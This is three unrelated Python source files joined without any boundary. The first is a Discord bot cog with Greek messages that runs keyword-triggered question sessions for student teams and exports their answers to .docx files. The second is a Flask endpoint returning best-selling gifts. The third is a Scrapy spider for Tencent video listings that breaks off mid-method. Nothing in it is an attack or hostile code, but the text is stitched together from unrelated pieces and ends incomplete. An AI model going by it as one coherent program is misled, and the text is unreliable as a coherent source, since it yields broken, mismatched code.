import sqlite3
import os
import docx
import discord
from discord.ext import commands  # Again, we need this imported
import random
import asyncio

class AgentChatCommands(commands.Cog):
    """Commands for agent"""
    client = discord.Client()

    def __init__(self, bot: commands.Bot):
        self.bot = bot
        self.last_msg = None
        self.custom_prefix = bot.command_prefix
        self.bot.agent_questions = {}
        self.bot.agent_counters = {}
        self.bot.agent_teams = {}
        self.bot.agent_teams["teams"] = {}
        self.bot.agent_teams["ids"] = {}
        self.bot.agent_students = {}
        self.bot.agent_answers = {}
        # this list prevents students from activating the agentstart command when already in an agent chat activity.
        self.bot.participating_in_agent_right_now = []

    """
    ----->These are some examples of how dictionaries are structured for agent chat.<------

    First dictionary is the data of the students (if there are any)

    agent_students = { discord_id1 :  { 'name' : name1 , 'surname' : name2 , 'mail' : mail1  , data ... etc } ,
                        discord_id2 : {'name' : name2  , 'surname' : name3 ,  'aem' : aem2  .... etch }}
    """ #agent_students
    """
    This is a hashtable of counters . Values represent how many qustions a keyword holds.
    Later we can use this to create key-value pairs into the agents dictionary.

    agent_counters = {"agent1.docx" : {"keyword1" : value1,
                            "keyword2" : value2},
                "agent2.docx" : {"keyword1" : value1,
                            "keyword2" : value2,
                            "keyword3" : value3}}
    """ #agent_counters
    """
    This is an example of how the dictionary is being structured where we store the questions.
    Every keyword represents a trigger. Then the student is called to answer one of the questions.
    For example, keyword1 holds four questions(0-3) . First element of the list represents the type of the
    question and the second element is the main body of the question.

    agent_questions = { "agent1.docx" : { "keyword1" : { 0 : [0,question_main_body_1],
                                                    1 : [0,question_main_body_2],
                                                    2 : [0,question_main_body_3],
                                                    3 : [1,question_main_body_4]},
                                     "keyword2" : { 0 : [0,question_main_body_1],
                                                    1 : [0,question_main_body_2]},
                                     "keyword3" : { 0 : [0,question_main_body_1],
                                                    1 : [0,question_main_body_2],
                                                    2 : [0,question_main_body_3]}},
                        "agent2.docx" :   {"keyword1" : { 0 : [0,question_main_body_1],
                                                    1 : [0,question_main_body_2],
                                                    2 : [0,question_main_body_3]}}}
    """ #agent_questions
    """
    Of course we need to divide the students .
    Each student is assigned a unique team and a unique agent.
    Teams dictionary is divided into two nested dictionaries. One holds
    the ids as values and the other the teams with the agents.
    Each team though holds a specific channel for the agent to work,so teams will
    be referenced with channel ids.agent_teams dictionary is translated as
    participating_right_now dictionary .

    !!! By any means you must NEVER use the same channel to start chat with two different agents!!!

    agent_teams = { "teams" : { channel_id1 : [user_id1,user_id2],
                                channel_id2 : [user_id3,user_id4,user_id5]}
                    "ids"   : { user_id1 : [channel_id1,'agent1.docx']
                                user_id2 : [channel_id1,'agent1.docx']
                                user_id3 : [channel_id2,'agent1.docx']
                                user_id4 : [channel_id2,'agent1.docx']
                                user_id5 : [channel_id2,'agent1.docx'}}
    """ #agent_teams
    """
    And last but not least we need to store the answers of the students somewhere

    agent_answers = { student_id1 : { "agent1.docx" : {"keyword1" : { number_of_the_question : [type_of_question,answer_main_body],
                                                                  number_of_the_2nd_question : [type_of_question,answer_main_body]},
                                                    "keyword2" : {number_of_the_question : [type_of_question,answer_main_body]}},
                                        "agent2.docx"  : { "keyword1" : {nunmber_of_the_question : [type_of_question,answer_main_body]}}},
                        student_id2 : {..........}}

    """ #agent_answers

    @commands.command(name = "loadagent")
    async def loadagent(self,ctx,name_of_agent=None):
        """Load a scripted file with keywords in memory"""
        try:
            if name_of_agent != None:
                if name_of_agent in self.bot.agent_questions:
                    await ctx.author.send("Ο πράκτορας είναι ήδη φορτωμένος στη μνήμη")
                    return
                if ctx.author.guild_permissions.administrator:
                    # We specify the document path here .
                    # If the document is in the file only the name is needed.
                    try:
                        agent_doc = docx.Document(name_of_agent)
                    except Exception as error:
                        await ctx.author.send(f"Ουπς ! {error} " )
                        return
                    """
                        From now on we set nicknames so that code is shorter
                        agent counters dictionary is refered as acounters
                        agent_questions dictionary as aquestions
                        name_of_agent string is refered as aname
                    """
                    acounters = self.bot.agent_counters
                    aquestions= self.bot.agent_questions
                    aname = name_of_agent

                    """
                        Now we start the loading procedure
                        The document that is loaded should have this format:

                        type_of_question$keyword$question_main_body

                        For example :

                        0$sunny$Is the weather sunny today ?

                        For this project only question type 0 is supported.
                        But the tools for implementing more types are provided.
                        Question type 0 is a question where the answer is a paragraph.
                        The student must express his/her opinion with words.

                    """

                    acounters[aname] = {}
                    aquestions[aname] = {}
                    for i in range(len(agent_doc.paragraphs)):
                        question = agent_doc.paragraphs[i].text.split("$")
                        keyword = question[1]
                        #print((question[2]))
                        if question[0] == "0":
                            if keyword not in aquestions[aname]:
                                aquestions[aname][keyword] ={}
                            aquestions[aname][keyword][len(aquestions[aname][keyword])] = [int(question[0]),question[2]]
                            acounters[aname][keyword]=len(aquestions[aname][keyword])

                    """
                    prints the questions dictionary

                    for key,value in aquestions[aname].items():
                        print(key)
                        for value_key,value_value in value.items():
                            print("    ", value_key,value_value)

                    """
                else:
                    message = await ctx.channel.send("Ουπς ! Μάλλον δεν έχετε δικαιώματα διαχειριστή.")
                    await asyncio.sleep(2)
                    await message.delete()
                    return
                await ctx.author.send("Η φόρτωση του πράκτορα στη μνήμη ήταν επιτυχής.")
            else:
                await ctx.author.send(f" ``Τα ορίσματα δεν προσφέρθηκαν σωστά``\n"
                              f"**Σωστή μορφή ορισμάτων** : {self.custom_prefix}loadtest <name_of_test.docx>")
        except Exception as error:
            await ctx.author.send(f"Η φόρτωση του τεστ απέτυχε .\n {error}")

    @commands.command(name="agentstart")
    async def agentstart(self,ctx,name_of_agent=None):
        """Participate in agent chat with a team"""

        if name_of_agent != None:
            if ctx.author.id in self.bot.participating_in_agent_right_now:
                return
            if self.bot.agent == False:
                await ctx.author.send(f"Η λειτουργία πρακτόρων είναι κλειστή\n"
                                      f"Κάποιος διαχειριστής θα πρέπει να την ανοίξει\n "
                                      f"με την εντολή ``{self.custom_prefix}enable agent``")
                return
            if ctx.guild == None:
                await ctx.author.send("Δεν βρέθηκε κάποιος σέρβερ.Η εντολή πρέπει να πληκτρολογηθεί\n"
                                      "σε ειδικό κανάλι σέρβερ διαμορφωμένο για την λειτουργία agentchat.")
                return

            """
                From now on we set nicknames so that code is shorter
                agent_teams dictionary is refered as ateams
                agent_answers dictionary is refered as aanswers
                name_of_agent string is refered as aname

            """
            aname = name_of_agent
            ateams = self.bot.agent_teams
            aanswers = self.bot.agent_answers
            astudents = self.bot.agent_students
            def check(msg):
                return msg.author == ctx.author

            async def permission(ctx):

                perm_answer_str = "preparing for while loop.perm_answer_str initialization"
                while (perm_answer_str!= "nai" and perm_answer_str!="yes" and
                    perm_answer_str!="no" and perm_answer_str!="ναι" and
                    perm_answer_str!="όχι" and perm_answer_str!="οχι" and perm_answer_str!="oxi"):

                        permission_answer = await self.bot.wait_for("message", check=check)
                        perm_answer_str = str(permission_answer.content)
                        if perm_answer_str.startswith(f"{self.custom_prefix}"):
                            await ctx.author.send(
                                "Παρακαλώ μη γράφετε εντολές κατά τη διαδικασία επιβεβαίωσης.Προσπαθήστε ξανά\n"
                                "Δεκτές απαντήσεις : **(ναι/όχι)**")

                if (perm_answer_str == "nai") or (perm_answer_str=="ναι") or (perm_answer_str=="yes"):
                    return True
                else:
                    return False

            if aname not in self.bot.agent_questions:
                await ctx.author.send("Αυτός ο πράκτορας δεν έχει φορτωθεί στη μνήμη")
                return

            if self.bot.banned_words == True:  # during the test we don't want any filter .
                self.bot.banned_words = False
            if ctx.author.id not in astudents:
                try:
                    connection = sqlite3.connect("studentsdata.db")
                    cursor = connection.cursor()
                    finduser = f"SELECT * FROM students WHERE DISCORD_ID = '{str(ctx.author.id)}'"
                    cursor.execute(finduser)
                    result = cursor.fetchall()
                    connection.close()
                    for i in range(len(result[0])):
                        if i == 0:
                            user_discord_id = f"{str(result[0][i])}"
                        elif i == 1:
                            user_name = f"{str(result[0][i])}"
                        elif i == 2:
                            user_surname = f"{str(result[0][i])}"
                        elif i == 3:
                            user_aem = f"{str(result[0][i])}"
                        elif i == 4:
                            user_type = f"{str(result[0][i])}"
                        elif i == 5:
                            user_mail = f"{str(result[0][i])}"
                        else:
                            break
                    astudents[ctx.author.id] = {}
                    astudents[ctx.author.id]["id"] = user_discord_id
                    astudents[ctx.author.id]["name"] = user_name
                    astudents[ctx.author.id]["surname"] = user_surname
                    astudents[ctx.author.id]["mail"] = user_mail
                    astudents[ctx.author.id]["type"] = user_type
                    astudents[ctx.author.id]["aem"] = user_aem
                except Exception as error:
                    await ctx.author.send(f"Τα στοιχεία σας δεν βρέθηκαν στη βάση δεδομένων . Καλό είναι να κάνετε εγγραφή.\n"
                                          f"{error}")

            if ctx.author.id in ateams["ids"]:

                active_channel = ateams["ids"][ctx.author.id][0]
                current_team = ateams["teams"][active_channel]
                current_team_list = ""
                for element in current_team:
                    try:
                        current_team_list += f"{str(astudents[element]['name'])} {str(astudents[element]['surname'])}\n"
                    except:
                        current_team_list +=f"{str(element)}\n"
                await ctx.author.send(f"Είστε ήδη σε μια ομάδα .\n"
                                      f"Τωρινή ομάδα : {current_team_list}"
                                      f"Θέλετε να αλλάξετε ομάδα ;\n"
                                    f"Απαντήστε με **'ναι'** για να ακυρωθεί η συμμετοχή σας \n"
                                    "Απαντήστε με **'όχι'** για να παραμείνετε στην ομάδα σας και να συνεχίσετε τη συνομιλία\n"
                                      "Αν ακυρώσετε τη συμμετοχή σας μπορείτε και πάλι αργότερα να ξανασυμμετέχετε στον πράκτορα της επιλογής σας\n"
                                      "Δεκτές απαντήσεις : **(ναι/όχι)**")
                self.bot.participating_in_agent_right_now.append(ctx.author.id)
                permission_to_change_team = await permission(ctx)
                if permission_to_change_team:
                    await ctx.author.send(f"Θέλετε επίσης οι προηγούμενες απαντήσεις σας (αν είχατε) στον πράκτορα {aname} να σβηστούν;\n"
                                          f"Δεκτές απαντήσεις : **(ναι/όχι)**")
                    permission_to_erase_answers = await permission(ctx)
                    if permission_to_erase_answers:
                        if ctx.author.id in aanswers:
                            if aname in aanswers[ctx.author.id]:
                                aanswers[ctx.author.id].pop(aname)
                                await ctx.author.send(f"Οι προηγούμενες απαντήσεις για το πράκτορα {aname} έχουν διαγραφεί\n"
                                                      f"αν θες να συμμετάσχεις ξανά σε συνομιλία με πράκτορα απλώς ξαναπάτα τη σχετική εντολή\n"
                                                      f"{self.custom_prefix}agentstart <name_of_agent.docx>")
                            else:
                                await ctx.author.send("Δεν έχει καταγραφεί καμία απάντηση στο συγκεκριμένο πράκτορα  (^_^) \n"
                                                      "Κανένας λόγος ανησυχίας!!!,απλώς **ξαναπατήστε την εντολή agentstart μαζί με το όνομα του πράκτορα**\n"
                                                      "με τον οποίο θέλετε να ξεκινήσετε chat με κάποιο συνομιλιτή")

                        else:
                            await ctx.author.send("Μάλλον δεν έχετε καν συμμετάσχει σε κάποιο πράκτορα  (^_^) \n"
                                                  "Κανένας λόγος ανησυχίας!!!,απλώς **ξαναπατήστε την εντολή agentstart μαζί με το όνομα του πράκτορα**\n"
                                                  "με τον οποίο θέλετε να ξεκινήσετε chat με κάποιο συνομιλιτή")
                    else:
                        await ctx.author.send("Η συμμετοχή σας ακυρώθηκε . Μπορείτε να συμμετέχετε σε καινούριο ή τον ίδιο πράκτορα.\n"
                                        "Οι απαντήσεις σας από προηγούμενες προσπάθειες παραμένουν καταγραμμένες(αν είχατε) αλλά \n"
                                        "στην περίπτωση καινούριας προσπάθειας πάνω στις ίδιες ερωτήσεις οι καινούριες απαντήσεις θα πάρουν τη θέση τους.")

                    active_channel = ateams["ids"].pop(ctx.author.id)[0]
                    ateams["teams"][active_channel].remove(ctx.author.id)
                    if len(ateams["teams"][active_channel]) == 0:
                        ateams["teams"].pop(active_channel)

                else:
                    await ctx.author.send("Πολύ καλά. Παραμένετε στην ίδια ομάδα.")
                self.bot.participating_in_agent_right_now.remove(ctx.author.id)
            else:
                if ctx.channel.id in ateams["teams"]:
                    ausersid = ateams["teams"][ctx.channel.id][0]
                    auserschannel = ateams["ids"][ausersid][0]
                    ausersagent = ateams["ids"][ausersid][1]
                    if ctx.channel.id == auserschannel and aname!=ausersagent :
                        await ctx.author.send(f"Αυτό το κανάλι χρησιμοποιείται από το πράκτορα {ausersagent}.\n"
                                              f"H συμμετοχή σας λαμβάνεται ως άκυρη")
                        return

                ateams["ids"][ctx.author.id] = [ctx.channel.id,aname]
                if ctx.channel.id in ateams["teams"]:
                    ateams["teams"][ctx.channel.id].append(ctx.author.id)
                else:
                    ateams["teams"][ctx.channel.id] = [ctx.author.id]
                current_team = ateams["teams"][ctx.channel.id]
                current_team_list = ""
                for element in current_team:
                    try:
                        temp_team_list = f"{str(astudents[element]['name'])} {str(astudents[element]['surname'])}\n"
                    except:
                        temp_team_list = f"{str(element)}\n"
                    current_team_list+=temp_team_list
                await ctx.author.send(f"Πολύ καλά , ξεκινήσατε chat με τον πράκτορα {name_of_agent} στο κανάλι {ctx.channel.name} \n"
                                      f"Η ομάδα σας είναι η : {current_team_list}")
        else:
            await ctx.author.send(f" ``Τα ορίσματα δεν προσφέρθηκαν σωστά``\n"
                                    f"**Σωστή μορφή ορισμάτων** : {self.custom_prefix}agentstart <name_of_agent.docx>")

    @commands.command(name="agentfinish")
    async def agentfinish(self,ctx):
        try:
            ateams = self.bot.agent_teams
            active_channel = ateams["ids"].pop(ctx.author.id)[0]
            ateams["teams"][active_channel].remove(ctx.author.id)
            if len(ateams["teams"][active_channel])==0:
                ateams["teams"].pop(active_channel)
            await ctx.author.send("Αποχωρήσατε από την ομάδα σας")
        except:
            await ctx.author.send("Η διαγραφή απέτυχε. Μάλλον δεν συμμετήχατε σε κάποια ομάδα")

    @commands.Cog.listener()
    async def on_message(self, ctx):
        try:
            if ctx.channel.id in self.bot.participating_in_agent_right_now:
                return
            def check(msg):
                return msg.author == ctx.author
            async def permission(ctx):

                perm_answer_str = "preparing for while loop.perm_answer_str initialization"
                while (perm_answer_str != "nai" and perm_answer_str != "yes" and
                    perm_answer_str != "no" and perm_answer_str != "ναι" and
                    perm_answer_str != "όχι" and perm_answer_str != "οχι" and perm_answer_str != "oxi"):
                    if (perm_answer_str != "nai" and perm_answer_str != "yes" and
                    perm_answer_str != "no" and perm_answer_str != "ναι" and
                    perm_answer_str != "όχι" and perm_answer_str != "οχι" and perm_answer_str != "oxi"):
                        await ctx.channel.send("Δεκτές απαντήσεις : **(ναι/όχι)**")

                    permission_answer = await self.bot.wait_for("message", check=check)
                    perm_answer_str = str(permission_answer.content)
                    if perm_answer_str.startswith(f"{self.custom_prefix}"):
                        await ctx.author.send(
                            "Παρακαλώ μη γράφετε εντολές κατά τη διαδικασία επιβεβαίωσης.Προσπαθήστε ξανά")

                if (perm_answer_str == "nai") or (perm_answer_str == "ναι") or (perm_answer_str == "yes"):
                    return True
                else:
                    return False

            # is the agent chat function turned on ? Είναι το agent chat ενεργοποιημένο?
            if self.bot.agent == False:
                return
            # is the user the bot or a real person ? //// Είναι ο χρήστης μποτ ή πραγματικό άτομο?
            if (ctx.author != self.bot.user) :
                # is the user participating in agent chat ?//// Ο χρήστης συμμετέχει ήδη σε συνομιλία με πράκτορα?
                if ctx.author.id in self.bot.agent_teams["ids"]:
                    # is this the channel the user is supposed to chat with the agent ? //// Είναι αυτό το κανάλι στο οποίο έχει ορισθεί η συνομιλία με το πράκτορα?
                    if ctx.channel.id == self.bot.agent_teams["ids"][ctx.author.id][0]:
                        # in which agent does the user participate ? //// Σε ποιο πράκτορα συμμετέχει ο χρήστης ?
                        name_of_agent = self.bot.agent_teams["ids"][ctx.author.id][1]
                        # check if a keyword the user mentioned is in the list of keywords of the agent the user participates.////Ψάξε λέξη κλειδί από τη συνομιλία συμμετεχόντων στο συγκεκριμένο κανάλι.
                        for keyword in self.bot.agent_questions[name_of_agent]:
                            # if you find a keyword , do the following : //// Αν βρεις λέξη κλειδί κάνε αυτά που έπονται :
                            if (ctx.content.find(str(keyword)) != -1):
                                keyword_questions = list(self.bot.agent_questions[name_of_agent][str(keyword)])
                                number_of_question = random.choice(keyword_questions)
                                #check what type of question we have sent so that we store it in a proper manner
                                type_of_question = int(self.bot.agent_questions[name_of_agent][str(keyword)][int(number_of_question)][0])

                                """
                                    Σε αυτό το σημείο με ένα if statement καταλαβαίνουμε τον τύπο της ερώτησης.Ο τύπος 0
                                    αναφέρεται σε ερωτήσεις αναπτύξεως. Ανάλογα το τύπο ερώτησης διαφορετικές ενέργειες
                                    πρέπει να παρθούν για την αποθήκευση απαντήσεων.
                                """

                                if type_of_question == 0:

                                    """
                                        Σε αυτό το σημείο στέλνουμε το κυρίως σώμα της ερώτησης.
                                        Εδώ μπορούμε επίσης να διαλέξουμε σε ποιον θα απευθυνουμε την ερώτηση.
                                        ctx.channel.send σημαίνει ότι η ερώτηση απευθύνεται σε όλη την ομάδα.
                                        Μπορούμε να διαλέξουμε ένα από τα μέλη της ομάδας για παράδειγμα.
                                        Αλλά εδώ για λόγους ομαδικότητας και συνεργασίας απευθυνόμαστε σε
                                        όλα τα μέλη της ομάδας και αναθέτουμε την ευθύνη της απάντησης σε
                                        αυτόν που ενεργοποίησε τη λέξη κλειδί. Παράλληλα τα άλλα μέλη μπορούν να συζητούν
                                        μεταξύ τους στο ίδιο κανάλι . Το μποτ περιμένει απάντηση από αυτόν που ενεργοποίησε
                                        τη λέξη κλειδί.

                                        At this point we send the main body of the question
                                        Here we can also chose to whom the questions are asked.
                                        ctx.channel.send means the questions are asked to the team.
                                        We can chose one of the team members for example.But here
                                        for the purpose of teamwork we ask the whole team.
                                    """

                                    await ctx.channel.send(
                                        f"```{str(self.bot.agent_questions[name_of_agent][str(keyword)][int(number_of_question)][1])}```\n"  # sending the main body of the question.
                                        f"Παρακαλώ γράψτε την απάντησή σας. ``Πατήστε Shift+enter για αλλαγή γραμμής`` . Υπεύθυνος απάντησης : **{ctx.author.name}**")
                                    self.bot.participating_in_agent_right_now.append(ctx.channel.id)
                                    this_is_the_final_answer = False
                                    while this_is_the_final_answer!=True:

                                        team_answer = await self.bot.wait_for("message", check=check)
                                        team_answer_str = str(team_answer.content)
                                        await ctx.channel.send(f"**Είναι αυτή η τελική σας απάντηση;**\n"
                                                               f"``{team_answer_str}``")
                                        this_is_the_final_answer = await permission(ctx)
                                        if this_is_the_final_answer!=True:
                                            await ctx.channel.send("Παρακαλώ γράψτε την απάντησή σας")
                                    self.bot.participating_in_agent_right_now.remove(ctx.channel.id)

                                    #here we need to store the answer
                                    #First create a profile for every user in the team if there isn't one.
                                    active_channel = self.bot.agent_teams["ids"][ctx.author.id][0]

                                    """
                                        Εδώ είναι ο τρόπος με τον οποίο οι απαντήσεις αποθηκεύονται.Ο παρακάτω κώδικας
                                        ερμηνεύεται ως εξής : Για όλα τα μέλη της ομάδας αυτού που απάντησε αποθήκευσε
                                        στη μνήμη την απάντησή του ως απαντήσεις τους.
                                    """

                                    current_team = self.bot.agent_teams["teams"][active_channel]
                                    for id_element in current_team:
                                        if id_element not in self.bot.agent_answers:
                                            self.bot.agent_answers[id_element] = {}
                                        if name_of_agent not in self.bot.agent_answers[id_element]:
                                            self.bot.agent_answers[id_element][name_of_agent] = {}
                                        if str(keyword) not in self.bot.agent_answers[id_element][name_of_agent]:
                                            self.bot.agent_answers[id_element][name_of_agent][str(keyword)] = {}
                                        self.bot.agent_answers[id_element][name_of_agent][str(keyword)][number_of_question] = [type_of_question,team_answer_str]

                    else:
                        return
                else:
                    return
            else:
                return
        except: #we don't want to print the errors  created by every message !!! . We simply return !
            return
    """
        Η παρακάτω εντολή 'teamanswers' βασίζεται στο γεγονός ότι τα μέλη συμμετέχουν ακόμα στη συνομιλία με το
        πράκτορα και οι ομάδες τους δεν έχουν χωρίσει ακόμα.Επίσης βασίζεται στην παραδοχή ότι οι απαντήσεις του πρώτου
        μέλους της ομάδας είναι επίσης οι απαντήσεις των υπόλοιπων μελών.Έτσι και αλλιώς τα καινούρια μέλη μιας ομάδας
        προστίθονται στο τέλος της λίστας με append.Οπότε τα αρχικά μέλη είναι αυτά που έχουν απαντήσεις που
        αντιπροσωπεύουν την ομάδα.

        !!!! this command 'teamanswers' is based on the hypothesis that the answers of the first person in a team are
        also the answers of his teammates.It also requires members to still be participating in agent chat and their
        teams are still formed and not broken apart.
    """ #!!! Teamanswers manual.
    @commands.command(name="teamanswers")
    async def teamanswers(self,ctx,name_of_agent=None):
        """
            Prints the answers of a team.
            <command_prefix>teamanswers <name_of_agent.docx>
        """
        try:
            if name_of_agent != None:
                if ctx.author.guild_permissions.administrator:
                    mycwd = os.getcwd()

                    name_of_agent_directory = name_of_agent.split('.')[0]

                    if not os.path.exists(f"{name_of_agent_directory} team answers"):
                        os.mkdir(f"{name_of_agent_directory} team answers")
                        await ctx.author.send(f"Folder '{name_of_agent_directory} team answers' δημιουργήθηκε στη τοποθεσία : {mycwd}")
                    else:
                        await ctx.author.send("Ο φάκελος υπάρχει ήδη , οι απαντήσεις αποθηκεύτηκαν.")
                    os.chdir(f"{name_of_agent_directory} team answers")
                    for channel_key in self.bot.agent_teams["teams"]:
                        #student_name here refers to student_id(gets the first student's id of the first team)
                        student_name = self.bot.agent_teams["teams"][channel_key][0]
                        if self.bot.agent_teams["ids"][student_name][1]==name_of_agent :
                            this_team_doc = docx.Document()
                            this_team_channel = self.bot.get_channel(channel_key)
                            this_team_doc.add_heading(f"Όνομα καναλιού ομάδας : {this_team_channel.name}\n"
                                                      f"Όνομα πράκτορα : {name_of_agent_directory}\n")

                            for student_id in self.bot.agent_teams["teams"][channel_key]:
                                if student_id in self.bot.agent_students:
                                    user_aem = self.bot.agent_students[student_id]["aem"]
                                    user_name = self.bot.agent_students[student_id]["name"]
                                    user_surname = self.bot.agent_students[student_id]["surname"]
                                    user_discord_id = student_id
                                    user_mail = self.bot.agent_students[student_id]["mail"]
                                    this_team_doc.add_paragraph(f"{user_aem} : {user_name} {user_surname} {user_mail} {user_discord_id} ")

                                else:
                                    this_team_doc.add_paragraph(f"Χωρίς εγγραφή : {student_id}")
                            for keyword in self.bot.agent_answers[student_name][name_of_agent]:
                                for question in self.bot.agent_answers[student_name][name_of_agent][keyword]:
                                    team_answer_body = self.bot.agent_answers[student_name][name_of_agent][keyword][question][1]
                                    type_of_question = self.bot.agent_answers[student_name][name_of_agent][keyword][question][0]
                                    if type_of_question==0 :
                                        this_team_doc.add_paragraph(f"{keyword}-{question}:\n{team_answer_body}")
                                    this_team_doc.add_paragraph(f"=============================================")
                            this_team_doc.save(f"{this_team_channel.name} {name_of_agent_directory}.docx")
                    os.chdir(f"{mycwd}")

                else:
                    await ctx.author.send("Δεν έχετε δικαιώματα διαχειριστή για αυτή την εντολή.")
            else:
                await ctx.author.send(f" ``Τα ορίσματα δεν προσφέρθηκαν σωστά``\n"
                                      f"**Σωστή μορφή ορισμάτων** : {self.custom_prefix}teamanswers <name_of_agent.docx>")
        except Exception as error:
            await ctx.author.send(f"{error}")

    @commands.command(name="agentanswers")
    async def agentanswers(self,ctx,name_of_agent=None):
        """
            Creates documents of student agent answers.
            <command_prefix>agentanswers <name_of_agent.docx>
        """
        try:
            if name_of_agent != None:
                if ctx.author.guild_permissions.administrator:
                    mycwd = os.getcwd()

                    name_of_agent_directory = name_of_agent.split('.')[0]

                    if not os.path.exists(f"{name_of_agent_directory} student agent answers"):
                        os.mkdir(f"{name_of_agent_directory} student agent answers")
                        await ctx.author.send(
                            f"Folder '{name_of_agent_directory} student agent answers' δημιουργήθηκε στη τοποθεσία : {mycwd}")
                    else:
                        await ctx.author.send("Ο φάκελος υπάρχει ήδη , οι απαντήσεις αποθηκεύτηκαν.")
                    os.chdir(f"{name_of_agent_directory} student agent answers")
                    #print(self.bot.agent_answers)
                    for student_id in self.bot.agent_answers:
                        if name_of_agent in self.bot.agent_answers[student_id]:
                            this_student_doc = docx.Document()
                            student_in_database = False
                            try:

                                user_aem = self.bot.agent_students[student_id]["aem"]
                                user_name = self.bot.agent_students[student_id]["name"]
                                user_surname = self.bot.agent_students[student_id]["surname"]
                                user_discord_id = student_id
                                user_mail = self.bot.agent_students[student_id]["mail"]
                                this_student_doc.add_heading(
                                    f"{user_aem} : {user_name} {user_surname} {user_mail} {user_discord_id} ")
                                student_in_database = True

                            except:
                                this_student_doc.add_heading(f"Χωρίς εγγραφή : {student_id}")

                            for keyword in self.bot.agent_answers[student_id][name_of_agent]:
                                for question in self.bot.agent_answers[student_id][name_of_agent][keyword]:
                                    student_answer_body = self.bot.agent_answers[student_id][name_of_agent][keyword][question][1]
                                    type_of_question =  self.bot.agent_answers[student_id][name_of_agent][keyword][question][0]
                                    if type_of_question == 0:
                                        this_student_doc.add_paragraph(f"{keyword}-{question}:\n{student_answer_body}")
                                    this_student_doc.add_paragraph(f"=============================================")
                            if student_in_database:
                                this_student_doc.save(f"{user_aem} {user_name} {user_surname} {name_of_agent_directory}.docx")
                            else:
                                this_student_doc.save(f"{student_id} {name_of_agent_directory}.docx")

                    os.chdir(f"{mycwd}")
                else:
                    await ctx.author.send("Δεν έχετε δικαιώματα διαχειριστή για αυτή την εντολή.")
            else:
                await ctx.author.send(f" ``Τα ορίσματα δεν προσφέρθηκαν σωστά``\n"
                                      f"**Σωστή μορφή ορισμάτων** : {self.custom_prefix}agentanswers <name_of_agent.docx>")
        except Exception as error:
            await ctx.author.send(f"{error}")

    @commands.command(name="agentparticipants")
    async def participants(self,ctx):
        try:
            if ctx.author.guild_permissions.administrator:
                dict_items = (self.bot.agent_teams["teams"]).items()
                string_to_send=""
                for element in dict_items:
                    element_channel = self.bot.get_channel(element[0])
                    string_to_send+=f"\n\n**{element_channel.name} : **"
                    this_team_users = ""
                    for r in range(len(element[1])):
                        element_user = self.bot.get_user(element[1][r])
                        this_team_users+=f"[{element_user.name}] "
                    string_to_send+=f"\n{this_team_users}"
                await ctx.author.send(string_to_send)
            else:
                await ctx.author.send("Δεν έχετε δικαιώματα διαχειριστή για αυτή την εντολή.")
        except Exception as error:
            await ctx.author.send(f"{error}")

    @commands.Cog.listener()
    async def on_ready(self):
        print('AgentChatCommands cog ready')

# Now, we need to set up this cog somehow, and we do that by making a setup function:
def setup(bot: commands.Bot):
    bot.add_cog(AgentChatCommands(bot))


from flask import make_response
from ..connect_to_aws import database
from ..model.create_database import Gifts

# def show_good_sales_gift_method():
#     output_message = {
#         "message": "Information waiting for confirmation"
#     }
#     gifts = Gifts.query.order_by(Gifts.gift_sales.desc()).limit(2)
#     if gifts:
#         database.session.close()
#         return gifts
#     else:
#         output_message['message'] = "no gifts in the system"
#         status_code = 400
#         output_json = make_response(output_message)
#         output_json.status_code = status_code
#         output_json.message = output_message['message']
#         database.session.close()
#         return output_json

def show_good_sales_gift_method():
    status_code = 200
    gifts = Gifts.query.order_by(Gifts.gift_sales.desc()).limit(5)
    response_message = {
        "message": "success"
    }
    response_data = {
        "most_sales_gifts": []
    }
    # gifts_dict = {
    #     "wishlists_inf": wishlists_model
    # }
    if not gifts:
        response_message['message'] = 'The system do not have any order.'
        status_code = 404
        resp = make_response(response_message)
        resp.status_code = status_code
        database.session.close()
        return resp
    l = []
    for o in gifts:
        p = {
            "id": o.id,
            "gift_name": o.gift_name,
            "gift_price": o.gift_price,
            "gift_discount_price": o.gift_discount_price,
            "gift_discount_state": o.gift_discount_state,
            "gift_description": o.gift_description,
            "gift_category": o.gift_category,
            "gift_side_category1": o.gift_side_category1,
            "gift_side_category2": o.gift_side_category2,
            "gift_cover_url": o.gift_cover_url,
            # "gift_show_url1": o.gift_show_url1,
            # "gift_show_url2": o.gift_show_url2,
            # "gift_show_url3": o.gift_show_url3,
            # "gift_show_url4": o.gift_show_url4,
            "gift_sales": o.gift_sales,
            "gift_income": o.gift_income,
            }
        l.append(p)
    response_data["most_sales_gifts"] = l
    resp = make_response(response_message)
    resp.status_code = status_code
    resp.response_data = response_data
    database.session.close()
    return resp


# -*- coding: utf-8 -*-
import scrapy
from scrapy import Request
from urllib import parse
from VideoSpider.items import TvItem

class TencentVarietySpider(scrapy.Spider):
    name = 'Tencent_variety'
    allowed_domains = ['v.qq.com']
    start_urls = ['http://v.qq.com/x/list/variety']

    def parse(self, response):
        common = response.css('.filter_content')[0]
        channels = common.css('a::text').extract()
        channel_links = common.css('a::attr(href)').extract()
        for channel, channel_link in zip(channels[1: len(channels)], channel_links[1: len(channel_links)]):
            url = parse.urljoin(self.start_urls[0], channel_link)
            yield Request(url=url, callback=self.parse_page_info, meta={'channel': channel}, dont_filter=True)

    def parse_page_info(self, response):
        common = response.css('.figures_list')
        if common:
            newsreel_urls = common[0].css('.list_item .figure::attr(href)').extract()
            # newsreel_urls = ['https://v.qq.com/x/cover/jx7g4sm320sqm7i.html']
            for newsreel_url in newsreel_urls:
                yield Request(url=newsreel_url, callback=self.pase_variety_info, meta={'area': response.meta['channel']})
        next_page = response.css('.page_next::attr(href)').extract()
        if next_page and 'java' not in next_page[0]:
            yield Request(url=parse.urljoin(self.start_urls[0], next_page[0]), callback=self.parse_page_info, meta={'area': response.meta['channel']}, dont_filter=True)

    def pase_variety_info(self, response):
        area = response.meta['area']
        name = response.css('.player_title a::text').extract()[0]
        play_list = response.css('a[_stat="video-list-column:click"]::attr(href)').extract()
        play_list = [url[url.rfind('/') + 1: url.rfind('.')] for url in play_list]
        play_list.append(response.url[response.url.rfind('/') + 1: response.url.rfind('.')])
        tags = response.css('._video_tags a::text').extract()
        if tags:
            tags = '/'.join(tags)
        else:
            tags = ''
        print('-------------------------------------------')
        print(name)
        print(area)
        print(tags)
        for id in set(play_list):
            item = TvItem()
            item['id'] = id
            item['name'] = name
            item['isFeature'] = 1
            item['upTime'] = ''
            item['area'] = area
            item['parts'] = len(play_list)
            item['updateTime'] = ''
            item['language'] = ''
            item['type_tag'] = tags
            item['playTimes'] = 0
            item['score'] = ''
            item['director'] = ''
